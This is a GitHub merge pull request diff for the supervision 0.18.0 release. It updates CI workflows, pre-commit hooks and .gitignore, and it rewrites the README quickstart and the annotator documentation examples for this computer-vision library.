Merge pull request #764 from roboflow/develop

`supervision-0.18.0` release
Merge pull request #775 from roboflow/feature/supervision-0-18-0-changelog
2024-01-25 10:33:16 +01:00 · 2024-01-25 10:31:17 +01:00 · 2024-01-25 09:29:43 +00:00 · 2024-01-25 10:27:22 +01:00 · 2024-01-24 18:10:56 +01:00 · 2024-01-24 17:50:41 +01:00
122 changed files with 10180 additions and 4168 deletions
@@ -1,17 +0,0 @@
-contourpy==1.1.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
-cycler==0.11.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
-fonttools==4.41.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
-importlib-resources==6.0.0 ; python_version >= "3.8" and python_version < "3.10"
-kiwisolver==1.4.4 ; python_version >= "3.8" and python_full_version < "3.12.0"
-matplotlib==3.7.2 ; python_version >= "3.8" and python_full_version < "3.12.0"
-numpy==1.24.4 ; python_version >= "3.8" and python_version < "3.12"
-opencv-python-headless==4.8.0.74 ; python_version >= "3.8" and python_full_version < "3.12.0"
-packaging==23.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
-pillow==10.0.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
-pyparsing==3.0.9 ; python_version >= "3.8" and python_full_version < "3.12.0"
-python-dateutil==2.8.2 ; python_version >= "3.8" and python_full_version < "3.12.0"
-pyyaml==6.0.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
-scipy==1.10.1 ; python_version >= "3.8" and python_version < "3.12"
-six==1.16.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
-zipp==3.16.2 ; python_version >= "3.8" and python_version < "3.10"
-pytest==7.4.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
@@ -14,7 +14,7 @@ jobs:
    runs-on: ubuntu-latest
    steps:
      - name: Clear cache
-        uses: actions/github-script@v6
+        uses: actions/github-script@v7
        with:
          script: |
            console.log("About to clear")
@@ -6,14 +6,21 @@ on:
      - master
      - main
      - develop
+
+permissions:
+  contents: write
+  pages: write
+  pull-requests: write
+
 jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
-      - uses: actions/setup-python@v4
+      - uses: actions/setup-python@v5
        with:
          python-version: 3.x
      - run: pip install mkdocs-material
      - run: pip install "mkdocstrings[python]"
+      - run: pip install "mkdocs-material[imaging]"
      - run: mkdocs gh-deploy --force
@@ -19,7 +19,7 @@ jobs:
        uses: actions/checkout@v4

      - name: 🐍 Set up Python 3.8 environment for build
-        uses: actions/setup-python@v4
+        uses: actions/setup-python@v5
        with:
          python-version: "3.8"

@@ -21,7 +21,7 @@ jobs:
        with:
          ref: ${{ github.head_ref }}
      - name: 🐍 Set up Python ${{ matrix.python-version }}
-        uses: actions/setup-python@v4
+        uses: actions/setup-python@v5
        with:
          python-version: ${{ matrix.python-version }}

@@ -0,0 +1,57 @@
+name: Python 3.8 - Min Dep Test WorkFlow
+
+on:
+  pull_request:
+    branches: [main, develop]
+
+jobs:
+  build-min-dep-test:
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        python-version: ["3.8"]
+    steps:
+      - name: 🛎️ Checkout
+        uses: actions/checkout@v4
+      - name: 🐍 Set up Python ${{ matrix.python-version }}
+        uses: actions/setup-python@v5
+        # id based on python version
+        id: python-setup
+        with:
+          python-version: ${{ matrix.python-version }}
+          check-latest: true
+
+      - name: 📦 Install dependencies
+        run: |
+          python -m pip install --upgrade pip
+          pip install \
+              attrs==23.1.0 \
+              certifi==2023.7.22 \
+              charset-normalizer==2.0.12 \
+              cycler==0.12.1 \
+              exceptiongroup==1.1.3 \
+              fonttools==4.43.1 \
+              idna==3.4 \
+              iniconfig==2.0.0 \
+              kiwisolver==1.4.5 \
+              matplotlib==3.5.0 \
+              numpy==1.21.2 \
+              opencv-python==4.5.5.64 \
+              packaging==23.2 \
+              pluggy==1.3.0 \
+              pyparsing==3.1.1 \
+              pytest==7.2.0 \
+              python-dateutil==2.8.2 \
+              PyYAML==5.3 \
+              requests==2.26.0 \
+              scipy==1.10.0 \
+              setuptools-scm==8.0.4 \
+              six==1.16.0 \
+              tomli==2.0.1 \
+              tqdm==4.62.3 \
+              typing_extensions==4.8.0 \
+              urllib3==1.26.18 \
+              defusedxml==0.7.1
+
+      - name: 🧪 Test
+        run: "python -m pytest ./test"
@@ -5,28 +5,25 @@ on:
    branches: [main, develop]

 jobs:
-  build:
+  build-dev-test:
    runs-on: ubuntu-latest
    strategy:
      matrix:
-        python-version: ["3.8", "3.9", "3.10","3.11"]
+        python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
    steps:
      - name: 🛎️ Checkout
        uses: actions/checkout@v4
      - name: 🐍 Set up Python ${{ matrix.python-version }}
-        uses: actions/setup-python@v4
-        # id based on python version
-        id: python-setup
+        uses: actions/setup-python@v5
        with:
          python-version: ${{ matrix.python-version }}
          check-latest: true
-          cache: 'pip'
-          cache-dependency-path: '**/requirements-dev.txt'

      - name: 📦 Install dependencies
        run: |
          python -m pip install --upgrade pip
-          pip install -r .github/requirements-dev.txt
+          pip install .
+          pip install pytest

      - name: 🧪 Test
        run: "python -m pytest ./test"
@@ -11,7 +11,7 @@ jobs:
    name: 👋 Welcome
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/first-interaction@v1.2.0
+      - uses: actions/first-interaction@v1.3.0
        with:
          repo-token: ${{ secrets.GITHUB_TOKEN }}
          issue-message: "Hello there, thank you for opening an Issue ! 🙏🏻 The team was notified and they will get back to you asap."
@@ -135,3 +135,24 @@ dmypy.json

 # Notebooks
 notebooks/
+
+# OSX folder attributes
+.DS_Store
+.AppleDouble
+.LSOverride
+
+# Thumbnails
+._*
+
+# Files that might appear on external disk
+.Spotlight-V100
+.Trashes
+
+# Windows
+Thumbs.db
+Desktop.ini
+
+# Linux
+*~
+.directory
+.Trash-*
@@ -11,14 +11,14 @@ repos:
    hooks:
      - id: end-of-file-fixer
      - id: trailing-whitespace
+        exclude: test/.*\.py
      - id: check-yaml
+        exclude: mkdocs.yml
      - id: check-docstring-first
      - id: check-executables-have-shebangs
      - id: check-toml
      - id: check-case-conflict
      - id: check-added-large-files
-        args: ['--maxkb=2048']
-        exclude: ^logo/
      - id: detect-private-key
      - id: forbid-new-submodules
      - id: pretty-format-json
@@ -27,50 +27,29 @@ repos:
      - id: end-of-file-fixer
      - id: mixed-line-ending

-  # - repo: https://github.com/asottile/pyupgrade
-  #   rev: v3.9.0
-  #   hooks:
-  #     - id: pyupgrade
-  #       name: Upgrade code
-  #       args: [--py38-plus]
-
-
-  - repo: https://github.com/PyCQA/flake8
-    rev: 6.1.0
-    hooks:
-      - id: flake8
-        name: Flake8 Checks
-        entry: flake8
-        additional_dependencies: [Flake8-pyproject]


  -   repo: https://github.com/PyCQA/bandit
-      rev: '1.7.5'
+      rev: '1.7.6'
      hooks:
      -   id: bandit
          args: ["-c", "pyproject.toml"]
          additional_dependencies: ["bandit[toml]"]

  -   repo: https://github.com/pycqa/isort
-      rev: 5.12.0
+      rev: 5.13.2
      hooks:
      -   id: isort
          name: isort (python)
-      -   id: isort
-          name: isort (cython)
-          types: [cython]
      -   id: isort
          name: isort (pyi)
          types: [pyi]


-  -   repo: https://github.com/psf/black
-      rev: 23.10.0
-      hooks:
-      -   id: black
-
  -   repo: https://github.com/astral-sh/ruff-pre-commit
-      rev: v0.1.1
+      rev: v0.1.14
      hooks:
      -   id: ruff
          args: [--fix, --exit-non-zero-on-fix]
+      -   id: ruff-format
+          types_or: [ python, pyi, jupyter ]
@@ -52,7 +52,7 @@ git push -u origin main

 ### Pre-commit tool

-This project utilizes the [pre-commit](https://pre-commit.com/) tool to maintain code quality and consistency. Before submitting a pull request or making any commits, it is important to run the pre-commit tool to ensure that your changes meet the project's guidelines.
+This project uses the [pre-commit](https://pre-commit.com/) tool to maintain code quality and consistency. Before submitting a pull request or making any commits, it is important to run the pre-commit tool to ensure that your changes meet the project's guidelines.

 Furthermore, we have integrated a pre-commit GitHub Action into our workflow. This means that with every pull request opened, the pre-commit checks will be automatically enforced, streamlining the code review process and ensuring that all contributions adhere to our quality standards.

@@ -76,7 +76,6 @@ All new functions and classes in `supervision` should include docstrings. This i

 So far, **there is no type checking with mypy**. See [issue](https://github.com/roboflow-ai/template-python/issues/4).

-
 Then, go back to your fork of the `supervision` repository, click "Pull Requests", and click "New Pull Request".

 ![Opening a pull request](https://media.roboflow.com/open_pr.png)
@@ -109,7 +108,7 @@ PRs must pass all tests and linting requirements before they can be merged.

 The `supervision` documentation is stored in a folder called `docs`. The project documentation is built using `mkdocs`.

-To run the documentation, install the project requirements with `poetry install dev`. Then, run `mkdocs serve` to start the documentation server.
+To run the documentation, install the project requirements with `poetry install --with dev`. Then, run `mkdocs serve` to start the documentation server.

 You can learn more about mkdocs on the [mkdocs website](https://www.mkdocs.org/).

@@ -10,24 +10,20 @@

  <br>

-  [notebooks](https://github.com/roboflow/notebooks) | [inference](https://github.com/roboflow/inference) | [autodistill](https://github.com/autodistill/autodistill) | [collect](https://github.com/roboflow/roboflow-collect)
+[notebooks](https://github.com/roboflow/notebooks) | [inference](https://github.com/roboflow/inference) | [autodistill](https://github.com/autodistill/autodistill) | [collect](https://github.com/roboflow/roboflow-collect)

  <br>

-  [![version](https://badge.fury.io/py/supervision.svg)](https://badge.fury.io/py/supervision)
-  [![downloads](https://img.shields.io/pypi/dm/supervision)](https://pypistats.org/packages/supervision)
-  [![license](https://img.shields.io/pypi/l/supervision)](https://github.com/roboflow/supervision/blob/main/LICENSE.md)
-  [![python-version](https://img.shields.io/pypi/pyversions/supervision)](https://badge.fury.io/py/supervision)
-  [![Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/roboflow/supervision/blob/main/demo.ipynb)
-  [![Gradio](https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Spaces-blue)](https://huggingface.co/spaces/Roboflow/Annotators)
-  [![Discord](https://img.shields.io/discord/1159501506232451173)](https://discord.gg/GbfgXGJ8Bk)
+[![version](https://badge.fury.io/py/supervision.svg)](https://badge.fury.io/py/supervision)
+[![downloads](https://img.shields.io/pypi/dm/supervision)](https://pypistats.org/packages/supervision)
+[![license](https://img.shields.io/pypi/l/supervision)](https://github.com/roboflow/supervision/blob/main/LICENSE.md)
+[![python-version](https://img.shields.io/pypi/pyversions/supervision)](https://badge.fury.io/py/supervision)
+[![Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/roboflow/supervision/blob/main/demo.ipynb)
+[![Gradio](https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Spaces-blue)](https://huggingface.co/spaces/Roboflow/Annotators)
+[![Discord](https://img.shields.io/discord/1159501506232451173)](https://discord.gg/GbfgXGJ8Bk)

 </div>

-<a href="https://github.com/roboflow/supervision/issues?q=is%3Aissue+label%3Ahacktoberfest+">
-  <img width="100%" src="https://media.roboflow.com/open-source/supervision/hacktoberfest-banner-3.png">
-</a>
-
 ## 👋 hello

 **We write your reusable computer vision tools.** Whether you need to load your dataset from your hard drive, draw detections on an image or video, or count how many detections are in a zone. You can count on us! 🤝
@@ -35,265 +31,203 @@
 ## 💻 install

 Pip install the supervision package in a
-[**3.11>=Python>=3.8**](https://www.python.org/) environment.
+[**Python>=3.8**](https://www.python.org/) environment.

 ```bash
-pip install supervision[desktop]
+pip install supervision
 ```

 Read more about desktop, headless, and local installation in our [guide](https://roboflow.github.io/supervision/).

 ## 🔥 quickstart

-### [detections processing](https://roboflow.github.io/supervision/detection/core/)
+### models
+
+Supervision was designed to be model agnostic. Just plug in any classification, detection, or segmentation model. For your convenience, we have created [connectors](https://supervision.roboflow.com/detection/core/#detections) for the most popular libraries like Ultralytics, Transformers, or MMDetection.

 ```python
->>> import supervision as sv
->>> from ultralytics import YOLO
+import cv2
+import supervision as sv
+from ultralytics import YOLO

->>> model = YOLO('yolov8s.pt')
->>> result = model(IMAGE)[0]
->>> detections = sv.Detections.from_ultralytics(result)
+image = cv2.imread(...)
+model = YOLO('yolov8s.pt')
+result = model(image)[0]
+detections = sv.Detections.from_ultralytics(result)

->>> len(detections)
-5
+len(detections)
+# 5
 ```

-<details close>
-<summary>👉 more detections utils</summary>
+<details>
+<summary>👉 more model connectors</summary>

- Easily switch inference pipeline between supported object detection/instance segmentation models
+- inference
+
+    Running with [Inference](https://github.com/roboflow/inference) requires a [Roboflow API KEY](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key).

    ```python
-    >>> import supervision as sv
-    >>> from segment_anything import sam_model_registry, SamAutomaticMaskGenerator
+    import cv2
+    import supervision as sv
+    from inference.models.utils import get_roboflow_model

-    >>> sam = sam_model_registry[MODEL_TYPE](checkpoint=CHECKPOINT_PATH).to(device=DEVICE)
-    >>> mask_generator = SamAutomaticMaskGenerator(sam)
-    >>> sam_result = mask_generator.generate(IMAGE)
-    >>> detections = sv.Detections.from_sam(sam_result=sam_result)
-    ```
+    image = cv2.imread(...)
+    model = get_roboflow_model(model_id="yolov8s-640", api_key=<ROBOFLOW API KEY>)
+    result = model.infer(image)[0]
+    detections = sv.Detections.from_inference(result)

- [Advanced filtering](https://roboflow.github.io/supervision/quickstart/detections/)
+    len(detections)
+    # 5

-    ```python
-    >>> detections = detections[detections.class_id == 0]
-    >>> detections = detections[detections.confidence > 0.5]
-    >>> detections = detections[detections.area > 1000]
-    ```
-
- Image annotation
-
-    ```python
-    >>> import supervision as sv
-
-    >>> box_annotator = sv.BoxAnnotator()
-    >>> annotated_frame = box_annotator.annotate(
-    ...     scene=IMAGE,
-    ...     detections=detections
-    ... )
    ```

 </details>

-### [datasets processing](https://roboflow.github.io/supervision/dataset/core/)
+### annotators
+
+Supervision offers a wide range of highly customizable [annotators](https://supervision.roboflow.com/annotators/), allowing you to compose the perfect visualization for your use case.

 ```python
->>> import supervision as sv
+import cv2
+import supervision as sv

->>> dataset = sv.DetectionDataset.from_yolo(
-...     images_directory_path='...',
-...     annotations_directory_path='...',
-...     data_yaml_path='...'
-... )
+image = cv2.imread(...)
+detections = sv.Detections(...)

->>> dataset.classes
+bounding_box_annotator = sv.BoundingBoxAnnotator()
+annotated_frame = bounding_box_annotator.annotate(
+    scene=image.copy(),
+    detections=detections
+)
+```
+
+https://github.com/roboflow/supervision/assets/26109316/691e219c-0565-4403-9218-ab5644f39bce
+
+### datasets
+
+Supervision provides a set of [utils](https://supervision.roboflow.com/datasets/) that allow you to load, split, merge, and save datasets in one of the supported formats.
+
+```python
+import supervision as sv
+
+dataset = sv.DetectionDataset.from_yolo(
+    images_directory_path=...,
+    annotations_directory_path=...,
+    data_yaml_path=...
+)
+
+dataset.classes
 ['dog', 'person']

->>> len(dataset)
-1000
+len(dataset)
+# 1000
 ```

 <details close>
 <summary>👉 more dataset utils</summary>

- Load object detection/instance segmentation datasets in one of the supported formats
+- load

-    ```python
-    >>> dataset = sv.DetectionDataset.from_yolo(
-    ...     images_directory_path='...',
-    ...     annotations_directory_path='...',
-    ...     data_yaml_path='...'
-    ... )
+  ```python
+  dataset = sv.DetectionDataset.from_yolo(
+      images_directory_path=...,
+      annotations_directory_path=...,
+      data_yaml_path=...
+  )

-    >>> dataset = sv.DetectionDataset.from_pascal_voc(
-    ...     images_directory_path='...',
-    ...     annotations_directory_path='...'
-    ... )
+  dataset = sv.DetectionDataset.from_pascal_voc(
+      images_directory_path=...,
+      annotations_directory_path=...
+  )

-    >>> dataset = sv.DetectionDataset.from_coco(
-    ...     images_directory_path='...',
-    ...     annotations_path='...'
-    ... )
-    ```
+  dataset = sv.DetectionDataset.from_coco(
+      images_directory_path=...,
+      annotations_path=...
+  )
+  ```

- Loop over dataset entries
+- split

-    ```python
-    >>> for name, image, labels in dataset:
-    ...     print(labels.xyxy)
+  ```python
+  train_dataset, test_dataset = dataset.split(split_ratio=0.7)
+  test_dataset, valid_dataset = test_dataset.split(split_ratio=0.5)

-    array([[404.      , 719.      , 538.      , 884.5     ],
-           [155.      , 497.      , 404.      , 833.5     ],
-           [ 20.154999, 347.825   , 416.125   , 915.895   ]], dtype=float32)
-    ```
+  len(train_dataset), len(test_dataset), len(valid_dataset)
+  # (700, 150, 150)
+  ```

- Split dataset for training, testing, and validation
+- merge

-    ```python
-    >>> train_dataset, test_dataset = dataset.split(split_ratio=0.7)
-    >>> test_dataset, valid_dataset = test_dataset.split(split_ratio=0.5)
+  ```python
+  ds_1 = sv.DetectionDataset(...)
+  len(ds_1)
+  # 100
+  ds_1.classes
+  # ['dog', 'person']

-    >>> len(train_dataset), len(test_dataset), len(valid_dataset)
-    (700, 150, 150)
-    ```
+  ds_2 = sv.DetectionDataset(...)
+  len(ds_2)
+  # 200
+  ds_2.classes
+  # ['cat']

- Merge multiple datasets
+  ds_merged = sv.DetectionDataset.merge([ds_1, ds_2])
+  len(ds_merged)
+  # 300
+  ds_merged.classes
+  # ['cat', 'dog', 'person']
+  ```

-    ```python
-    >>> ds_1 = sv.DetectionDataset(...)
-    >>> len(ds_1)
-    100
-    >>> ds_1.classes
-    ['dog', 'person']
+- save

-    >>> ds_2 = sv.DetectionDataset(...)
-    >>> len(ds_2)
-    200
-    >>> ds_2.classes
-    ['cat']
+  ```python
+  dataset.as_yolo(
+      images_directory_path=...,
+      annotations_directory_path=...,
+      data_yaml_path=...
+  )

-    >>> ds_merged = sv.DetectionDataset.merge([ds_1, ds_2])
-    >>> len(ds_merged)
-    300
-    >>> ds_merged.classes
-    ['cat', 'dog', 'person']
-    ```
+  dataset.as_pascal_voc(
+      images_directory_path=...,
+      annotations_directory_path=...
+  )

- Save object detection/instance segmentation datasets in one of the supported formats
+  dataset.as_coco(
+      images_directory_path=...,
+      annotations_path=...
+  )
+  ```

-    ```python
-    >>> dataset.as_yolo(
-    ...     images_directory_path='...',
-    ...     annotations_directory_path='...',
-    ...     data_yaml_path='...'
-    ... )
+- convert

-    >>> dataset.as_pascal_voc(
-    ...     images_directory_path='...',
-    ...     annotations_directory_path='...'
-    ... )
-
-    >>> dataset.as_coco(
-    ...     images_directory_path='...',
-    ...     annotations_path='...'
-    ... )
-    ```
-
- Convert labels between supported formats
-
-    ```python
-    >>> sv.DetectionDataset.from_yolo(
-    ...     images_directory_path='...',
-    ...     annotations_directory_path='...',
-    ...     data_yaml_path='...'
-    ... ).as_pascal_voc(
-    ...     images_directory_path='...',
-    ...     annotations_directory_path='...'
-    ... )
-    ```
-
- Load classification datasets in one of the supported formats
-
-    ```python
-    >>> cs = sv.ClassificationDataset.from_folder_structure(
-    ...     root_directory_path='...'
-    ... )
-    ```
-
- Save classification datasets in one of the supported formats
-
-    ```python
-    >>> cs.as_folder_structure(
-    ...     root_directory_path='...'
-    ... )
-    ```
-
-</details>
-
-### [model evaluation](https://roboflow.github.io/supervision/metrics/detection/)
-
-```python
->>> import supervision as sv
-
->>> dataset = sv.DetectionDataset.from_yolo(...)
-
->>> def callback(image: np.ndarray) -> sv.Detections:
-...     ...
-
->>> confusion_matrix = sv.ConfusionMatrix.benchmark(
-...     dataset = dataset,
-...     callback = callback
-... )
-
->>> confusion_matrix.matrix
-array([
-    [0., 0., 0., 0.],
-    [0., 1., 0., 1.],
-    [0., 1., 1., 0.],
-    [1., 1., 0., 0.]
-])
-```
-
-<details close>
-<summary>👉 more metrics</summary>
-
- Mean average precision (mAP) for object detection tasks.
-
-    ```python
-    >>> import supervision as sv
-
-    >>> dataset = sv.DetectionDataset.from_yolo(...)
-
-    >>> def callback(image: np.ndarray) -> sv.Detections:
-    ...     ...
-
-    >>> mean_average_precision = sv.MeanAveragePrecision.benchmark(
-    ...     dataset = dataset,
-    ...     callback = callback
-    ... )
-
-    >>> mean_average_precision.map50_95
-    0.433
-    ```
+  ```python
+  sv.DetectionDataset.from_yolo(
+      images_directory_path=...,
+      annotations_directory_path=...,
+      data_yaml_path=...
+  ).as_pascal_voc(
+      images_directory_path=...,
+      annotations_directory_path=...
+  )
+  ```

 </details>

 ## 🎬 tutorials

 <p align="left">
-<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><img src="https://github.com/roboflow/supervision/assets/26109316/54afdf1c-218c-4451-8f12-627fb85f1682" alt="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking" width="300px" align="left" /></a>
-<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><strong>Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking</strong></a>
-<div><strong>Created: 6 Sep 2023</strong> | <strong>Updated: 6 Sep 2023</strong></div>
-<br/> In this video, we explore real-time traffic analysis using YOLOv8 and ByteTrack to detect and track vehicles on aerial images. Harnessing the power of Python and Supervision, we delve deep into assigning cars to specific entry zones and understanding their direction of movement. By visualizing their paths, we gain insights into traffic flow across bustling roundabouts... </p>
+<a href="https://youtu.be/uWP6UjDeZvY" title="Speed Estimation & Vehicle Tracking | Computer Vision | Open Source"><img src="https://github.com/SkalskiP/SkalskiP/assets/26109316/61a444c8-b135-48ce-b979-2a5ab47c5a91" alt="Speed Estimation & Vehicle Tracking | Computer Vision | Open Source" width="300px" align="left" /></a>
+<a href="https://youtu.be/uWP6UjDeZvY" title="Speed Estimation & Vehicle Tracking | Computer Vision | Open Source"><strong>Speed Estimation & Vehicle Tracking | Computer Vision | Open Source</strong></a>
+<div><strong>Created: 11 Jan 2024</strong> | <strong>Updated: 11 Jan 2024</strong></div>
+<br/> Learn how to track and estimate the speed of vehicles using YOLO, ByteTrack, and Roboflow Inference. This comprehensive tutorial covers object detection, multi-object tracking, filtering detections, perspective transformation, speed estimation, visualization improvements, and more.</p>

 <br/>

 <p align="left">
-<a href="https://youtu.be/D-D6ZmadzPE" title="SAM - Segment Anything Model by Meta AI: Complete Guide"><img src="https://github.com/SkalskiP/SkalskiP/assets/26109316/6913ff11-53c6-4341-8d90-eaff3023c3fd" alt="SAM - Segment Anything Model by Meta AI: Complete Guide" width="300px" align="left" /></a>
-<a href="https://youtu.be/D-D6ZmadzPE" title="SAM - Segment Anything Model by Meta AI: Complete Guide"><strong>SAM - Segment Anything Model by Meta AI: Complete Guide</strong></a>
-<div><strong>Created: 11 Apr 2023</strong> | <strong>Updated: 11 Apr 2023</strong></div>
-<br/> Discover the incredible potential of Meta AI's Segment Anything Model (SAM)! We dive into SAM, an efficient and promptable model for image segmentation, which has revolutionized computer vision tasks. With over 1 billion masks on 11M licensed and privacy-respecting images, SAM's zero-shot performance is often competitive with or even superior to prior fully supervised results... </p>
+<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><img src="https://github.com/roboflow/supervision/assets/26109316/54afdf1c-218c-4451-8f12-627fb85f1682" alt="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking" width="300px" align="left" /></a>
+<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><strong>Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking</strong></a>
+<div><strong>Created: 6 Sep 2023</strong> | <strong>Updated: 6 Sep 2023</strong></div>
+<br/> In this video, we explore real-time traffic analysis using YOLOv8 and ByteTrack to detect and track vehicles on aerial images. Harnessing the power of Python and Supervision, we delve deep into assigning cars to specific entry zones and understanding their direction of movement. By visualizing their paths, we gain insights into traffic flow across bustling roundabouts... </p>

 ## 💜 built with supervision

@@ -303,6 +237,8 @@ https://user-images.githubusercontent.com/26109316/207858600-ee862b22-0353-440b-

 https://github.com/roboflow/supervision/assets/26109316/c9436828-9fbf-4c25-ae8c-60e9c81b3900

+https://github.com/roboflow/supervision/assets/26109316/3ac6982f-4943-4108-9b7f-51787ef1a69f
+
 ## 📚 documentation

 Visit our [documentation](https://roboflow.github.io/supervision) page to learn how supervision can help you build computer vision applications faster and more reliably.
@@ -1,16 +1,21 @@
+---
+comments: true
+status: new
+---
+
 === "BoundingBox"

    ```python
-    >>> import supervision as sv
+    import supervision as sv

-    >>> image = ...
-    >>> detections = sv.Detections(...)
+    image = ...
+    detections = sv.Detections(...)

-    >>> bounding_box_annotator = sv.BoundingBoxAnnotator()
-    >>> annotated_frame = bounding_box_annotator.annotate(
-    ...     scene=image.copy(),
-    ...     detections=detections
-    ... )
+    bounding_box_annotator = sv.BoundingBoxAnnotator()
+    annotated_frame = bounding_box_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
    ```

    <div class="result" markdown>
@@ -19,19 +24,40 @@

    </div>

+=== "RoundBox"
+
+    ```python
+    import supervision as sv
+
+    image = ...
+    detections = sv.Detections(...)
+
+    round_box_annotator = sv.RoundBoxAnnotator()
+    annotated_frame = round_box_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
+    ```
+
+    <div class="result" markdown>
+
+    ![round-box-annotator-example](https://media.roboflow.com/supervision-annotator-examples/round-box-annotator-example-purple.png){ align=center width="800" }
+
+    </div>
+
 === "BoxCorner"

    ```python
-    >>> import supervision as sv
+    import supervision as sv

-    >>> image = ...
-    >>> detections = sv.Detections(...)
+    image = ...
+    detections = sv.Detections(...)

-    >>> corner_annotator = sv.BoxCornerAnnotator()
-    >>> annotated_frame = corner_annotator.annotate(
-    ...     scene=image.copy(),
-    ...     detections=detections
-    ... )
+    corner_annotator = sv.BoxCornerAnnotator()
+    annotated_frame = corner_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
    ```

    <div class="result" markdown>
@@ -40,19 +66,19 @@

    </div>

-=== "BoxMask"
+=== "Color"

    ```python
-    >>> import supervision as sv
+    import supervision as sv

-    >>> image = ...
-    >>> detections = sv.Detections(...)
+    image = ...
+    detections = sv.Detections(...)

-    >>> box_mask_annotator = sv.BoxMaskAnnotator()
-    >>> annotated_frame = box_mask_annotator.annotate(
-    ...     scene=image.copy(),
-    ...     detections=detections
-    ... )
+    color_annotator = sv.ColorAnnotator()
+    annotated_frame = color_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
    ```

    <div class="result" markdown>
@@ -64,16 +90,16 @@
 === "Circle"

    ```python
-    >>> import supervision as sv
+    import supervision as sv

-    >>> image = ...
-    >>> detections = sv.Detections(...)
+    image = ...
+    detections = sv.Detections(...)

-    >>> circle_annotator = sv.CircleAnnotator()
-    >>> annotated_frame = circle_annotator.annotate(
-    ...     scene=image.copy(),
-    ...     detections=detections
-    ... )
+    circle_annotator = sv.CircleAnnotator()
+    annotated_frame = circle_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
    ```

    <div class="result" markdown>
@@ -85,37 +111,58 @@
 === "Dot"

    ```python
-    >>> import supervision as sv
+    import supervision as sv

-    >>> image = ...
-    >>> detections = sv.Detections(...)
+    image = ...
+    detections = sv.Detections(...)

-    >>> dot_annotator = sv.DotAnnotator()
-    >>> annotated_frame = dot_annotator.annotate(
-    ...     scene=image.copy(),
-    ...     detections=detections
-    ... )
+    dot_annotator = sv.DotAnnotator()
+    annotated_frame = dot_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
    ```

    <div class="result" markdown>

-    ![circle-annotator-example](https://media.roboflow.com/supervision-annotator-examples/dot-annotator-example-purple.png){ align=center width="800" }
+    ![dot-annotator-example](https://media.roboflow.com/supervision-annotator-examples/dot-annotator-example-purple.png){ align=center width="800" }
+
+    </div>
+
+=== "Triangle"
+
+    ```python
+    import supervision as sv
+
+    image = ...
+    detections = sv.Detections(...)
+
+    triangle_annotator = sv.TriangleAnnotator()
+    annotated_frame = triangle_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
+    ```
+
+    <div class="result" markdown>
+
+    ![triangle-annotator-example](https://media.roboflow.com/supervision-annotator-examples/triangle-annotator-example.png){ align=center width="800" }

    </div>

 === "Ellipse"

    ```python
-    >>> import supervision as sv
+    import supervision as sv

-    >>> image = ...
-    >>> detections = sv.Detections(...)
+    image = ...
+    detections = sv.Detections(...)

-    >>> ellipse_annotator = sv.EllipseAnnotator()
-    >>> annotated_frame = ellipse_annotator.annotate(
-    ...     scene=image.copy(),
-    ...     detections=detections
-    ... )
+    ellipse_annotator = sv.EllipseAnnotator()
+    annotated_frame = ellipse_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
    ```

    <div class="result" markdown>
@@ -127,37 +174,58 @@
 === "Halo"

    ```python
-    >>> import supervision as sv
+    import supervision as sv

-    >>> image = ...
-    >>> detections = sv.Detections(...)
+    image = ...
+    detections = sv.Detections(...)

-    >>> halo_annotator = sv.HaloAnnotator()
-    >>> annotated_frame = halo_annotator.annotate(
-    ...     scene=image.copy(),
-    ...     detections=detections
-    ... )
+    halo_annotator = sv.HaloAnnotator()
+    annotated_frame = halo_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
    ```

    <div class="result" markdown>

-    ![ellipse-annotator-example](https://media.roboflow.com/supervision-annotator-examples/halo-annotator-example-purple.png){ align=center width="800" }
+    ![halo-annotator-example](https://media.roboflow.com/supervision-annotator-examples/halo-annotator-example-purple.png){ align=center width="800" }
+
+    </div>
+
+=== "PercentageBar"
+
+    ```python
+    import supervision as sv
+
+    image = ...
+    detections = sv.Detections(...)
+
+    percentage_bar_annotator = sv.PercentageBarAnnotator()
+    annotated_frame = percentage_bar_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
+    ```
+
+    <div class="result" markdown>
+
+    ![percentage-bar-annotator-example](https://media.roboflow.com/supervision-annotator-examples/percentage-bar-annotator-example-purple.png){ align=center width="800" }

    </div>

 === "Mask"

    ```python
-    >>> import supervision as sv
+    import supervision as sv

-    >>> image = ...
